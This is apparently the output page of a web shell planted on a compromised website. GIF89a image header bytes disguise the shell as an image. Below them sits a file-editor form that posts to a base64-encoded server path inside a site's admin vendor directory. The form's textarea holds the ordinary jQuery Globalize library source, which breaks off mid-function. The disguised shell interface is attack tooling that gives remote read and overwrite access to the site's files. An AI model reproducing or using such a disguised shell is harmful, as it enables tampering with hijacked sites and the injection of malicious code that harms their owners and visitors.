GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>globalize.js<form method=post action="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi9wdWJsaWMvdmVuZG9ycy9GbG90L2xpYg%3D%3D&f=Z2xvYmFsaXplLmpz"><input name="f" value="globalize.js"><textarea name="t">/*!
 * Globalize
 *
 * http://github.com/jquery/globalize
 *
 * Copyright Software Freedom Conservancy, Inc.
 * Dual licensed under the MIT or GPL Version 2 licenses.
 * http://jquery.org/license
 */

(function( window, undefined ) {

var Globalize,
	// private variables
	regexHex,
	regexInfinity,
	regexParseFloat,
	regexTrim,
	// private JavaScript utility functions
	arrayIndexOf,
	endsWith,
	extend,
	isArray,
	isFunction,
	isObject,
	startsWith,
	trim,
	truncate,
	zeroPad,
	// private Globalization utility functions
	appendPreOrPostMatch,
	expandFormat,
	formatDate,
	formatNumber,
	getTokenRegExp,
	getEra,
	getEraYear,
	parseExact,
	parseNegativePattern;

// Global variable (Globalize) or CommonJS module (globalize)
Globalize = function( cultureSelector ) {
	return new Globalize.prototype.init( cultureSelector );
};

if ( typeof require !== &quot;undefined&quot; &amp;&amp;
	typeof exports !== &quot;undefined&quot; &amp;&amp;
	typeof module !== &quot;undefined&quot; ) {
	// Assume CommonJS
	module.exports = Globalize;
} else {
	// Export as global variable
	window.Globalize = Globalize;
}

Globalize.cultures = {};

Globalize.prototype = {
	constructor: Globalize,
	init: function( cultureSelector ) {
		this.cultures = Globalize.cultures;
		this.cultureSelector = cultureSelector;

		return this;
	}
};
Globalize.prototype.init.prototype = Globalize.prototype;

// 1. When defining a culture, all fields are required except the ones stated as optional.
// 2. Each culture should have a &quot;.calendars&quot; object with at least one calendar named &quot;standard&quot;
//    which serves as the default calendar in use by that culture.
// 3. Each culture should have a &quot;.calendar&quot; object which is the current calendar being used,
//    it may be dynamically changed at any time to one of the calendars in &quot;.calendars&quot;.
Globalize.cultures[ &quot;default&quot; ] = {
	// A unique name for the culture in the form &lt;language code&gt;-&lt;country/region code&gt;
	name: &quot;en&quot;,
	// the name of the culture in the english language
	englishName: &quot;English&quot;,
	// the name of the culture in its own language
	nativeName: &quot;English&quot;,
	// whether the culture uses right-to-left text
	isRTL: false,
	// &quot;language&quot; is used for so-called &quot;specific&quot; cultures.
	// For example, the culture &quot;es-CL&quot; means &quot;Spanish, in Chili&quot;.
	// It represents the Spanish-speaking culture as it is in Chili,
	// which might have different formatting rules or even translations
	// than Spanish in Spain. A &quot;neutral&quot; culture is one that is not
	// specific to a region. For example, the culture &quot;es&quot; is the generic
	// Spanish culture, which may be a more generalized version of the language
	// that may or may not be what a specific culture expects.
	// For a specific culture like &quot;es-CL&quot;, the &quot;language&quot; field refers to the
	// neutral, generic culture information for the language it is using.
	// This is not always a simple matter of the string before the dash.
	// For example, the &quot;zh-Hans&quot; culture is netural (Simplified Chinese).
	// And the &quot;zh-SG&quot; culture is Simplified Chinese in Singapore, whose lanugage
	// field is &quot;zh-CHS&quot;, not &quot;zh&quot;.
	// This field should be used to navigate from a specific culture to it's
	// more general, neutral culture. If a culture is already as general as it
	// can get, the language may refer to itself.
	language: &quot;en&quot;,
	// numberFormat defines general number formatting rules, like the digits in
	// each grouping, the group separator, and how negative numbers are displayed.
	numberFormat: {
		// [negativePattern]
		// Note, numberFormat.pattern has no &quot;positivePattern&quot; unlike percent and currency,
		// but is still defined as an array for consistency with them.
		//   negativePattern: one of &quot;(n)|-n|- n|n-|n -&quot;
		pattern: [ &quot;-n&quot; ],
		// number of decimal places normally shown
		decimals: 2,
		// string that separates number groups, as in 1,000,000
		&quot;,&quot;: &quot;,&quot;,
		// string that separates a number from the fractional portion, as in 1.99
		&quot;.&quot;: &quot;.&quot;,
		// array of numbers indicating the size of each number group.
		// TODO: more detailed description and example
		groupSizes: [ 3 ],
		// symbol used for positive numbers
		&quot;+&quot;: &quot;+&quot;,
		// symbol used for negative numbers
		&quot;-&quot;: &quot;-&quot;,
		// symbol used for NaN (Not-A-Number)
		&quot;NaN&quot;: &quot;NaN&quot;,
		// symbol used for Negative Infinity
		negativeInfinity: &quot;-Infinity&quot;,
		// symbol used for Positive Infinity
		positiveInfinity: &quot;Infinity&quot;,
		percent: {
			// [negativePattern, positivePattern]
			//   negativePattern: one of &quot;-n %|-n%|-%n|%-n|%n-|n-%|n%-|-% n|n %-|% n-|% -n|n- %&quot;
			//   positivePattern: one of &quot;n %|n%|%n|% n&quot;
			pattern: [ &quot;-n %&quot;, &quot;n %&quot; ],
			// number of decimal places normally shown
			decimals: 2,
			// array of numbers indicating the size of each number group.
			// TODO: more detailed description and example
			groupSizes: [ 3 ],
			// string that separates number groups, as in 1,000,000
			&quot;,&quot;: &quot;,&quot;,
			// string that separates a number from the fractional portion, as in 1.99
			&quot;.&quot;: &quot;.&quot;,
			// symbol used to represent a percentage
			symbol: &quot;%&quot;
		},
		currency: {
			// [negativePattern, positivePattern]
			//   negativePattern: one of &quot;($n)|-$n|$-n|$n-|(n$)|-n$|n-$|n$-|-n $|-$ n|n $-|$ n-|$ -n|n- $|($ n)|(n $)&quot;
			//   positivePattern: one of &quot;$n|n$|$ n|n $&quot;
			pattern: [ &quot;($n)&quot;, &quot;$n&quot; ],
			// number of decimal places normally shown
			decimals: 2,
			// array of numbers indicating the size of each number group.
			// TODO: more detailed description and example
			groupSizes: [ 3 ],
			// string that separates number groups, as in 1,000,000
			&quot;,&quot;: &quot;,&quot;,
			// string that separates a number from the fractional portion, as in 1.99
			&quot;.&quot;: &quot;.&quot;,
			// symbol used to represent currency
			symbol: &quot;$&quot;
		}
	},
	// calendars defines all the possible calendars used by this culture.
	// There should be at least one defined with name &quot;standard&quot;, and is the default
	// calendar used by the culture.
	// A calendar contains information about how dates are formatted, information about
	// the calendar's eras, a standard set of the date formats,
	// translations for day and month names, and if the calendar is not based on the Gregorian
	// calendar, conversion functions to and from the Gregorian calendar.
	calendars: {
		standard: {
			// name that identifies the type of calendar this is
			name: &quot;Gregorian_USEnglish&quot;,
			// separator of parts of a date (e.g. &quot;/&quot; in 11/05/1955)
			&quot;/&quot;: &quot;/&quot;,
			// separator of parts of a time (e.g. &quot;:&quot; in 05:44 PM)
			&quot;:&quot;: &quot;:&quot;,
			// the first day of the week (0 = Sunday, 1 = Monday, etc)
			firstDay: 0,
			days: {
				// full day names
				names: [ &quot;Sunday&quot;, &quot;Monday&quot;, &quot;Tuesday&quot;, &quot;Wednesday&quot;, &quot;Thursday&quot;, &quot;Friday&quot;, &quot;Saturday&quot; ],
				// abbreviated day names
				namesAbbr: [ &quot;Sun&quot;, &quot;Mon&quot;, &quot;Tue&quot;, &quot;Wed&quot;, &quot;Thu&quot;, &quot;Fri&quot;, &quot;Sat&quot; ],
				// shortest day names
				namesShort: [ &quot;Su&quot;, &quot;Mo&quot;, &quot;Tu&quot;, &quot;We&quot;, &quot;Th&quot;, &quot;Fr&quot;, &quot;Sa&quot; ]
			},
			months: {
				// full month names (13 months for lunar calendards -- 13th month should be &quot;&quot; if not lunar)
				names: [ &quot;January&quot;, &quot;February&quot;, &quot;March&quot;, &quot;April&quot;, &quot;May&quot;, &quot;June&quot;, &quot;July&quot;, &quot;August&quot;, &quot;September&quot;, &quot;October&quot;, &quot;November&quot;, &quot;December&quot;, &quot;&quot; ],
				// abbreviated month names
				namesAbbr: [ &quot;Jan&quot;, &quot;Feb&quot;, &quot;Mar&quot;, &quot;Apr&quot;, &quot;May&quot;, &quot;Jun&quot;, &quot;Jul&quot;, &quot;Aug&quot;, &quot;Sep&quot;, &quot;Oct&quot;, &quot;Nov&quot;, &quot;Dec&quot;, &quot;&quot; ]
			},
			// AM and PM designators in one of these forms:
			// The usual view, and the upper and lower case versions
			//   [ standard, lowercase, uppercase ]
			// The culture does not use AM or PM (likely all standard date formats use 24 hour time)
			//   null
			AM: [ &quot;AM&quot;, &quot;am&quot;, &quot;AM&quot; ],
			PM: [ &quot;PM&quot;, &quot;pm&quot;, &quot;PM&quot; ],
			eras: [
				// eras in reverse chronological order.
				// name: the name of the era in this culture (e.g. A.D., C.E.)
				// start: when the era starts in ticks (gregorian, gmt), null if it is the earliest supported era.
				// offset: offset in years from gregorian calendar
				{
					&quot;name&quot;: &quot;A.D.&quot;,
					&quot;start&quot;: null,
					&quot;offset&quot;: 0
				}
			],
			// when a two digit year is given, it will never be parsed as a four digit
			// year greater than this year (in the appropriate era for the culture)
			// Set it as a full year (e.g. 2029) or use an offset format starting from
			// the current year: &quot;+19&quot; would correspond to 2029 if the current year 2010.
			twoDigitYearMax: 2029,
			// set of predefined date and time patterns used by the culture
			// these represent the format someone in this culture would expect
			// to see given the portions of the date that are shown.
			patterns: {
				// short date pattern
				d: &quot;M/d/yyyy&quot;,
				// long date pattern
				D: &quot;dddd, MMMM dd, yyyy&quot;,
				// short time pattern
				t: &quot;h:mm tt&quot;,
				// long time pattern
				T: &quot;h:mm:ss tt&quot;,
				// long date, short time pattern
				f: &quot;dddd, MMMM dd, yyyy h:mm tt&quot;,
				// long date, long time pattern
				F: &quot;dddd, MMMM dd, yyyy h:mm:ss tt&quot;,
				// month/day pattern
				M: &quot;MMMM dd&quot;,
				// month/year pattern
				Y: &quot;yyyy MMMM&quot;,
				// S is a sortable format that does not vary by culture
				S: &quot;yyyy\u0027-\u0027MM\u0027-\u0027dd\u0027T\u0027HH\u0027:\u0027mm\u0027:\u0027ss&quot;
			}
			// optional fields for each calendar:
			/*
			monthsGenitive:
				Same as months but used when the day preceeds the month.
				Omit if the culture has no genitive distinction in month names.
				For an explaination of genitive months, see http://blogs.msdn.com/michkap/archive/2004/12/25/332259.aspx
			convert:
				Allows for the support of non-gregorian based calendars. This convert object is used to
				to convert a date to and from a gregorian calendar date to handle parsing and formatting.
				The two functions:
					fromGregorian( date )
						Given the date as a parameter, return an array with parts [ year, month, day ]
						corresponding to the non-gregorian based year, month, and day for the calendar.
					toGregorian( year, month, day )
						Given the non-gregorian year, month, and day, return a new Date() object
						set to the corresponding date in the gregorian calendar.
			*/
		}
	},
	// For localized strings
	messages: {}
};

Globalize.cultures[ &quot;default&quot; ].calendar = Globalize.cultures[ &quot;default&quot; ].calendars.standard;

Globalize.cultures.en = Globalize.cultures[ &quot;default&quot; ];

Globalize.cultureSelector = &quot;en&quot;;

//
// private variables
//

regexHex = /^0x[a-f0-9]+$/i;
regexInfinity = /^[+\-]?infinity$/i;
regexParseFloat = /^[+\-]?\d*\.?\d*(e[+\-]?\d+)?$/;
regexTrim = /^\s+|\s+$/g;

//
// private JavaScript utility functions
//

arrayIndexOf = function( array, item ) {
	if ( array.indexOf ) {
		return array.indexOf( item );
	}
	for ( var i = 0, length = array.length; i &lt; length; i++ ) {
		if ( array[i] === item ) {
			return i;
		}
	}
	return -1;
};

endsWith = function( value, pattern ) {
	return value.substr( value.length - pattern.length ) === pattern;
};

extend = function() {
	var options, name, src, copy, copyIsArray, clone,
		target = arguments[0] || {},
		i = 1,
		length = arguments.length,
		deep = false;

	// Handle a deep copy situation
	if ( typeof target === &quot;boolean&quot; ) {
		deep = target;
		target = arguments[1] || {};
		// skip the boolean and the target
		i = 2;
	}

	// Handle case when target is a string or something (possible in deep copy)
	if ( typeof target !== &quot;object&quot; &amp;&amp; !isFunction(target) ) {
		target = {};
	}

	for ( ; i &lt; length; i++ ) {
		// Only deal with non-null/undefined values
		if ( (options = arguments[ i ]) != null ) {
			// Extend the base object
			for ( name in options ) {
				src = target[ name ];
				copy = options[ name ];

				// Prevent never-ending loop
				if ( target === copy ) {
					continue;
				}

				// Recurse if we're merging plain objects or arrays
				if ( deep &amp;&amp; copy &amp;&amp; ( isObject(copy) || (copyIsArray = isArray(copy)) ) ) {
					if ( copyIsArray ) {
						copyIsArray = false;
						clone = src &amp;&amp; isArray(src) ? src : [];

					} else {
						clone = src &amp;&amp; isObject(src) ? src : {};
					}

					// Never move original objects, clone them
					target[ name ] = extend( deep, clone, copy );

				// Don't bring in undefined values
				} else if ( copy !== undefined ) {
					target[ name ] = copy;
				}
			}
		}
	}

	// Return the modified object
	return target;
};

isArray = Array.isArray || function( obj ) {
	return Object.prototype.toString.call( obj ) === &quot;[object Array]&quot;;
};

isFunction = function( obj ) {
	return Object.prototype.toString.call( obj ) === &quot;[object Function]&quot;;
};

isObject = function( obj ) {
	return Object.prototype.toString.call( obj ) === &quot;[object Object]&quot;;
};

startsWith = function( value, pattern ) {
	return value.indexOf( pattern ) === 0;
};

trim = function( value ) {
	return ( value + &quot;&quot; ).replace( regexTrim, &quot;&quot; );
};

truncate = function( value ) {
	if ( isNaN( value ) ) {
		return NaN;
	}
	return Math[ value &lt; 0 ? &quot;ceil&quot; : &quot;floor&quot; ]( value );
};

zeroPad = function( str, count, left ) {
	var l;
	for ( l = str.length; l &lt; count; l += 1 ) {
		str = ( left ? (&quot;0&quot; + str) : (str + &quot;0&quot;) );
	}
	return str;
};

//
// private Globalization utility functions
//

appendPreOrPostMatch = function( preMatch, strings ) {
	// appends pre- and post- token match strings while removing escaped characters.
	// Returns a single quote count which is used to determine if the token occurs
	// in a string literal.
	var quoteCount = 0,
		escaped = false;
	for ( var i = 0, il = preMatch.length; i &lt; il; i++ ) {
		var c = preMatch.charAt( i );
		switch ( c ) {
			case &quot;\'&quot;:
				if ( escaped ) {
					strings.push( &quot;\'&quot; );
				}
				else {
					quoteCount++;
				}
				escaped = false;
				break;
			case &quot;\\&quot;:
				if ( escaped ) {
					strings.push( &quot;\\&quot; );
				}
				escaped = !escaped;
				break;
			default:
				strings.push( c );
				escaped = false;
				break;
		}
	}
	return quoteCount;
};

expandFormat = function( cal, format ) {
	// expands unspecified or single character date formats into the full pattern.
	format = format || &quot;F&quot;;
	var pattern,
		patterns = cal.patterns,
		len = format.length;
	if ( len === 1 ) {
		pattern = patterns[ format ];
		if ( !pattern ) {
			throw &quot;Invalid date format string \'&quot; + format + &quot;\'.&quot;;
		}
		format = pattern;
	}
	else if ( len === 2 &amp;&amp; format.charAt(0) === &quot;%&quot; ) {
		// %X escape format -- intended as a custom format string that is only one character, not a built-in format.
		format = format.charAt( 1 );
	}
	return format;
};

formatDate = function( value, format, culture ) {
	var cal = culture.calendar,
		convert = cal.convert,
		ret;

	if ( !format || !format.length || format === &quot;i&quot; ) {
		if ( culture &amp;&amp; culture.name.length ) {
			if ( convert ) {
				// non-gregorian calendar, so we cannot use built-in toLocaleString()
				ret = formatDate( value, cal.patterns.F, culture );
			}
			else {
				var eraDate = new Date( value.getTime() ),
					era = getEra( value, cal.eras );
				eraDate.setFullYear( getEraYear(value, cal, era) );
				ret = eraDate.toLocaleString();
			}
		}
		else {
			ret = value.toString();
		}
		return ret;
	}

	var eras = cal.eras,
		sortable = format === &quot;s&quot;;
	format = expandFormat( cal, format );

	// Start with an empty string
	ret = [];
	var hour,
		zeros = [ &quot;0&quot;, &quot;00&quot;, &quot;000&quot; ],
		foundDay,
		checkedDay,
		dayPartRegExp = /([^d]|^)(d|dd)([^d]|$)/g,
		quoteCount = 0,
		tokenRegExp = getTokenRegExp(),
		converted;

	//function padZeros( num, c ) {
	//	var r, s = num + &quot;&quot;;
	//	if ( c &gt; 1 &amp;&amp; s.length &lt; c ) {
	//		r = ( zeros[c - 2] + s);
	//		return r.substr( r.length - c, c );
	//	}
	//	else {
	//		r = s;
	//	}
	//	return r;
	//}

	function padZeros(num, c) {
	    if (num &lt; 0) {
	        return &quot;-&quot; + padZeros(-num, c);
	    }
	    var r, s = num + &quot;&quot;;
	    if (c &gt; 1 &amp;&amp; s.length &lt; c) {
	        r = (zeros[c - 2] + s);
	        return r.substr(r.length - c, c);
	    }
	    else {
	        r = s;
	    }
	    return r;
	}

	function hasDay() {
		if ( foundDay || checkedDay ) {
			return foundDay;
		}
		foundDay = dayPartRegExp.test( format );
		checkedDay = true;
		return foundDay;
	}

	function getPart( date, part ) {
		if ( converted ) {
			return converted[ part ];
		}
		switch ( part ) {
			case 0:
				return date.getFullYear();
			case 1:
				return date.getMonth();
			case 2:
				return date.getDate();
			default:
				throw &quot;Invalid part value &quot; + part;
		}
	}

	if ( !sortable &amp;&amp; convert ) {
		converted = convert.fromGregorian( value );
	}

	for ( ; ; ) {
		// Save the current index
		var index = tokenRegExp.lastIndex,
			// Look for the next pattern
			ar = tokenRegExp.exec( format );

		// Append the text before the pattern (or the end of the string if not found)
		var preMatch = format.slice( index, ar ? ar.index : format.length );
		quoteCount += appendPreOrPostMatch( preMatch, ret );

		if ( !ar ) {
			break;
		}

		// do not replace any matches that occur inside a string literal.
		if ( quoteCount % 2 ) {
			ret.push( ar[0] );
			continue;
		}

		var current = ar[ 0 ],
			clength = current.length;

		switch ( current ) {
			case &quot;ddd&quot;:
				//Day of the week, as a three-letter abbreviation
			case &quot;dddd&quot;:
				// Day of the week, using the full name
				var names = ( clength === 3 ) ? cal.days.namesAbbr : cal.days.names;
				ret.push( names[value.getDay()] );
				break;
			case &quot;d&quot;:
				// Day of month, without leading zero for single-digit days
			case &quot;dd&quot;:
				// Day of month, with leading zero for single-digit days
				foundDay = true;
				ret.push(
					padZeros( getPart(value, 2), clength )
				);
				break;
			case &quot;MMM&quot;:
				// Month, as a three-letter abbreviation
			case &quot;MMMM&quot;:
				// Month, using the full name
				var part = getPart( value, 1 );
				ret.push(
					( cal.monthsGenitive &amp;&amp; hasDay() ) ?
					( cal.monthsGenitive[ clength === 3 ? &quot;namesAbbr&quot; : &quot;names&quot; ][ part ] ) :
					( cal.months[ clength === 3 ? &quot;namesAbbr&quot; : &quot;names&quot; ][ part ] )
				);
				break;
			case &quot;M&quot;:
				// Month, as digits, with no leading zero for single-digit months
			case &quot;MM&quot;:
				// Month, as digits, with leading zero for single-digit months
				ret.push(
					padZeros( getPart(value, 1) + 1, clength )
				);
				break;
			case &quot;y&quot;:
				// Year, as two digits, but with no leading zero for years less than 10
			case &quot;yy&quot;:
				// Year, as two digits, with leading zero for years less than 10
			case &quot;yyyy&quot;:
				// Year represented by four full digits
				part = converted ? converted[ 0 ] : getEraYear( value, cal, getEra(value, eras), sortable );
				if ( clength &lt; 4 ) {
					part = part % 100;
				}
				ret.push(
					padZeros( part, clength )
				);
				break;
			case &quot;h&quot;:
				// Hours with no leading zero for single-digit hours, using 12-hour clock
			case &quot;hh&quot;:
				// Hours with leading zero for single-digit hours, using 12-hour clock
				hour = value.getHours() % 12;
				if ( hour === 0 ) hour = 12;
				ret.push(
					padZeros( hour, clength )
				);
				break;
			case &quot;H&quot;:
				// Hours with no leading zero for single-digit hours, using 24-hour clock
			case &quot;HH&quot;:
				// Hours with leading zero for single-digit hours, using 24-hour clock
				ret.push(
					padZeros( value.getHours(), clength )
				);
				break;
			case &quot;m&quot;:
				// Minutes with no leading zero for single-digit minutes
			case &quot;mm&quot;:
				// Minutes with leading zero for single-digit minutes
				ret.push(
					padZeros( value.getMinutes(), clength )
				);
				break;
			case &quot;s&quot;:
				// Seconds with no leading zero for single-digit seconds
			case &quot;ss&quot;:
				// Seconds with leading zero for single-digit seconds
				ret.push(
					padZeros( value.getSeconds(), clength )
				);
				break;
			case &quot;t&quot;:
				// One character am/pm indicator (&quot;a&quot; or &quot;p&quot;)
			case &quot;tt&quot;:
				// Multicharacter am/pm indicator
				part = value.getHours() &lt; 12 ? ( cal.AM ? cal.AM[0] : &quot; &quot; ) : ( cal.PM ? cal.PM[0] : &quot; &quot; );
				ret.push( clength === 1 ? part.charAt(0) : part );
				break;
			case &quot;f&quot;:
				// Deciseconds
			case &quot;ff&quot;:
				// Centiseconds
			case &quot;fff&quot;:
				// Milliseconds
				ret.push(
					padZeros( value.getMilliseconds(), 3 ).substr( 0, clength )
				);
				break;
			case &quot;z&quot;:
				// Time zone offset, no leading zero
			case &quot;zz&quot;:
				// Time zone offset with leading zero
				hour = value.getTimezoneOffset() / 60;
				ret.push(
					( hour &lt;= 0 ? &quot;+&quot; : &quot;-&quot; ) + padZeros( Math.floor(Math.abs(hour)), clength )
				);
				break;
			case &quot;zzz&quot;:
				// Time zone offset with leading zero
				hour = value.getTimezoneOffset() / 60;
				ret.push(
					( hour &lt;= 0 ? &quot;+&quot; : &quot;-&quot; ) + padZeros( Math.floor(Math.abs(hour)), 2 ) +
					// Hard coded &quot;:&quot; separator, rather than using cal.TimeSeparator
					// Repeated here for consistency, plus &quot;:&quot; was already assumed in date parsing.
					&quot;:&quot; + padZeros( Math.abs(value.getTimezoneOffset() % 60), 2 )
				);
				break;
			case &quot;g&quot;:
			case &quot;gg&quot;:
				if ( cal.eras ) {
					ret.push(
						cal.eras[ getEra(value, eras) ].name
					);
				}
				break;
		case &quot;/&quot;:
			ret.push( cal[&quot;/&quot;] );
			break;
		default:
			throw &quot;Invalid date format pattern \'&quot; + current + &quot;\'.&quot;;
		}
	}
	return ret.join( &quot;&quot; );
};

// formatNumber
(function() {
	var expandNumber;

	expandNumber = function( number, precision, formatInfo ) {
		var groupSizes = formatInfo.groupSizes,
			curSize = groupSizes[ 0 ],
			curGroupIndex = 1,
			factor = Math.pow( 10, precision ),
			rounded = Math.round( number * factor ) / factor;

		if ( !isFinite(rounded) ) {
			rounded = number;
		}
		number = rounded;

		var numberString = number+&quot;&quot;,
			right = &quot;&quot;,
			split = numberString.split( /e/i ),
			exponent = split.length &gt; 1 ? parseInt( split[1], 10 ) : 0;
		numberString = split[ 0 ];
		split = numberString.split( &quot;.&quot; );
		numberString = split[ 0 ];
		right = split.length &gt; 1 ? split[ 1 ] : &quot;&quot;;

		var l;
		if ( exponent &gt; 0 ) {
			right = zeroPad( right, exponent, false );
			numberString += right.slice( 0, exponent );
			right = right.substr( exponent );
		}
		else if ( exponent &lt; 0 ) {
			exponent = -exponent;
			numberString = zeroPad( numberString, exponent + 1, true );
			right = numberString.slice( -exponent, numberString.length ) + right;
			numberString = numberString.slice( 0, -exponent );
		}

		if ( precision &gt; 0 ) {
			right = formatInfo[ &quot;.&quot; ] +
				( (right.length &gt; precision) ? right.slice(0, precision) : zeroPad(right, precision) );
		}
		else {
			right = &quot;&quot;;
		}

		var stringIndex = numberString.length - 1,
			sep = formatInfo[ &quot;,&quot; ],
			ret = &quot;&quot;;

		while ( stringIndex &gt;= 0 ) {
			if ( curSize === 0 || curSize &gt; stringIndex ) {
				return numberString.slice( 0, stringIndex + 1 ) + ( ret.length ? (sep + ret + right) : right );
			}
			ret = numberString.slice( stringIndex - curSize + 1, stringIndex + 1 ) + ( ret.length ? (sep + ret) : &quot;&quot; );

			stringIndex -= curSize;

			if ( curGroupIndex &lt; groupSizes.length ) {
				curSize = groupSizes[ curGroupIndex ];
				curGroupIndex++;
			}
		}

		return numberString.slice( 0, stringIndex + 1 ) + sep + ret + right;
	};

	formatNumber = function( value, format, culture ) {
		if ( !isFinite(value) ) {
			if ( value === Infinity ) {
				return culture.numberFormat.positiveInfinity;
			}
			if ( value === -Infinity ) {
				return culture.numberFormat.negativeInfinity;
			}
			return culture.numberFormat.NaN;
		}
		if ( !format || format === &quot;i&quot; ) {
			return culture.name.length ? value.toLocaleString() : value.toString();
		}
		format = format || &quot;D&quot;;

		var nf = culture.numberFormat,
			number = Math.abs( value ),
			precision = -1,
			pattern;
		if ( format.length &gt; 1 ) precision = parseInt( format.slice(1), 10 );

		var current = format.charAt( 0 ).toUpperCase(),
			formatInfo;

		switch ( current ) {
			case &quot;D&quot;:
				pattern = &quot;n&quot;;
				number = truncate( number );
				if ( precision !== -1 ) {
					number = zeroPad( &quot;&quot; + number, precision, true );
				}
				if ( value &lt; 0 ) number = &quot;-&quot; + number;
				break;
			case &quot;N&quot;:
				formatInfo = nf;
				/* falls through */
			case &quot;C&quot;:
				formatInfo = formatInfo || nf.currency;
				/* falls through */
			case &quot;P&quot;:
				formatInfo = formatInfo || nf.percent;
				pattern = value &lt; 0 ? formatInfo.pattern[ 0 ] : ( formatInfo.pattern[1] || &quot;n&quot; );
				if ( precision === -1 ) precision = formatInfo.decimals;
				number = expandNumber( number * (current === &quot;P&quot; ? 100 : 1), precision, formatInfo );
				break;
			default:
				throw &quot;Bad number format specifier: &quot; + current;
		}

		var patternParts = /n|\$|-|%/g,
			ret = &quot;&quot;;
		for ( ; ; ) {
			var index = patternParts.lastIndex,
				ar = patternParts.exec( pattern );

			ret += pattern.slice( index, ar ? ar.index : pattern.length );

			if ( !ar ) {
				break;
			}

			switch ( ar[0] ) {
				case &quot;n&quot;:
					ret += number;
					break;
				case &quot;$&quot;:
					ret += nf.currency.symbol;
					break;
				case &quot;-&quot;:
					// don't make 0 negative
					if ( /[1-9]/.test(number) ) {
						ret += nf[ &quot;-&quot; ];
					}
					break;
				case &quot;%&quot;:
					ret += nf.percent.symbol;
					break;
			}
		}

		return ret;
	};

}());

getTokenRegExp = function() {
	// regular expression for matching date and time tokens in format strings.
	return (/\/|dddd|ddd|dd|d|MMMM|MMM|MM|M|yyyy|yy|y|hh|h|HH|H|mm|m|ss|s|tt|t|fff|ff|f|zzz|zz|z|gg|g/g);
};

getEra = function( date, eras ) {
	if ( !eras ) return 0;
	var start, ticks = date.getTime();
	for ( var i = 0, l = eras.length; i &lt; l; i++ ) {
		start = eras[ i ].start;
		if ( start === null || ticks &gt;= start ) {
			return i;
		}
	}
	return 0;
};

getEraYear = function( date, cal, era, sortable ) {
	var year = date.getFullYear();
	if ( !sortable &amp;&amp; cal.eras ) {
		// convert normal gregorian year to era-shifted gregorian
		// year by subtracting the era offset
		year -= cal.eras[ era ].offset;
	}
	return year;
};

// parseExact
(function() {
	var expandYear,
		getDayIndex,
		getMonthIndex,
		getParseRegExp,
		outOfRange,
		toUpper,
		toUpperArray;

	expandYear = function( cal, year ) {
		// expands 2-digit year into 4 digits.
		if ( year &lt; 100 ) {
			var now = new Date(),
				era = getEra( now ),
				curr = getEraYear( now, cal, era ),
				twoDigitYearMax = cal.twoDigitYearMax;
			twoDigitYearMax = typeof twoDigitYearMax === &quot;string&quot; ? new Date().getFullYear() % 100 + parseInt( twoDigitYearMax, 10 ) : twoDigitYearMax;
			year += curr - ( curr % 100 );
			if ( year &gt; twoDigitYearMax ) {
				year -= 100;
			}
		}
		return year;
	};

	getDayIndex = function	( cal, value, abbr ) {
		var ret,
			days = cal.days,
			upperDays = cal._upperDays;
		if ( !upperDays ) {
			cal._upperDays = upperDays = [
				toUpperArray( days.names ),
				toUpperArray( days.namesAbbr ),
				toUpperArray( days.namesShort )
			];
		}
		value = toUpper( value );
		if ( abbr ) {
			ret = arrayIndexOf( upperDays[1], value );
			if ( ret === -1 ) {
				ret = arrayIndexOf( upperDays[2], value );
			}
		}
		else {
			ret = arrayIndexOf( upperDays[0], value );
		}
		return ret;
	};

	getMonthIndex = function( cal, value, abbr ) {
		var months = cal.months,
			monthsGen = cal.monthsGenitive || cal.months,
			upperMonths = cal._upperMonths,
			upperMonthsGen = cal._upperMonthsGen;
		if ( !upperMonths ) {
			cal._upperMonths = upperMonths = [
				toUpperArray( months.names ),
				toUpperArray( months.namesAbbr )
			];
			cal._upperMonthsGen = upperMonthsGen = [
				toUpperArray( monthsGen.names ),
				toUpperArray( monthsGen.namesAbbr )
			];
		}
		value = toUpper( value );
		var i = arrayIndexOf( abbr ? upperMonths[1] : upperMonths[0], value );
		if ( i &lt; 0 ) {
			i = arrayIndexOf( abbr ? upperMonthsGen[1] : upperMonthsGen[0], value );
		}
		return i;
	};

	getParseRegExp = function( cal, format ) {
		// converts a format string into a regular expression with groups that
		// can be used to extract date fields from a date string.
		// check for a cached parse regex.
		var re = cal._parseRegExp;
		if ( !re ) {
			cal._parseRegExp = re = {};
		}
		else {
			var reFormat = re[ format ];
			if ( reFormat ) {
				return reFormat;
			}
		}

		// expand single digit formats, then escape regular expression characters.
		var expFormat = expandFormat( cal, format ).replace( /([\^\$\.\*\+\?\|\[\]\(\)\{\}])/g, &quot;\\\\$1&quot; ),
			regexp = [ &quot;^&quot; ],
			groups = [],
			index = 0,
			quoteCount = 0,
			tokenRegExp = getTokenRegExp(),
			match;

		// iterate through each date token found.
		while ( (match = tokenRegExp.exec(expFormat)) !== null ) {
			var preMatch = expFormat.slice( index, match.index );
			index = tokenRegExp.lastIndex;

			// don't replace any matches that occur inside a string literal.
			quoteCount += appendPreOrPostMatch( preMatch, regexp );
			if ( quoteCount % 2 ) {
				regexp.push( match[0] );
				continue;
			}

			// add a regex group for the token.
			var m = match[ 0 ],
				len = m.length,
				add;
			switch ( m ) {
				case &quot;dddd&quot;: case &quot;ddd&quot;:
				case &quot;MMMM&quot;: case &quot;MMM&quot;:
				case &quot;gg&quot;: case &quot;g&quot;:
					add = &quot;(\\D+)&quot;;
					break;
				case &quot;tt&quot;: case &quot;t&quot;:
					add = &quot;(\\D*)&quot;;
					break;
				case &quot;yyyy&quot;:
				case &quot;fff&quot;:
				case &quot;ff&quot;:
				case &quot;f&quot;:
					add = &quot;(\\d{&quot; + len + &quot;})&quot;;
					break;
				case &quot;dd&quot;: case &quot;d&quot;:
				case &quot;MM&quot;: case &quot;M&quot;:
				case &quot;yy&quot;: case &quot;y&quot;:
				case &quot;HH&quot;: case &quot;H&quot;:
				case &quot;hh&quot;: case &quot;h&quot;:
				case &quot;mm&quot;: case &quot;m&quot;:
				case &quot;ss&quot;: case &quot;s&quot;:
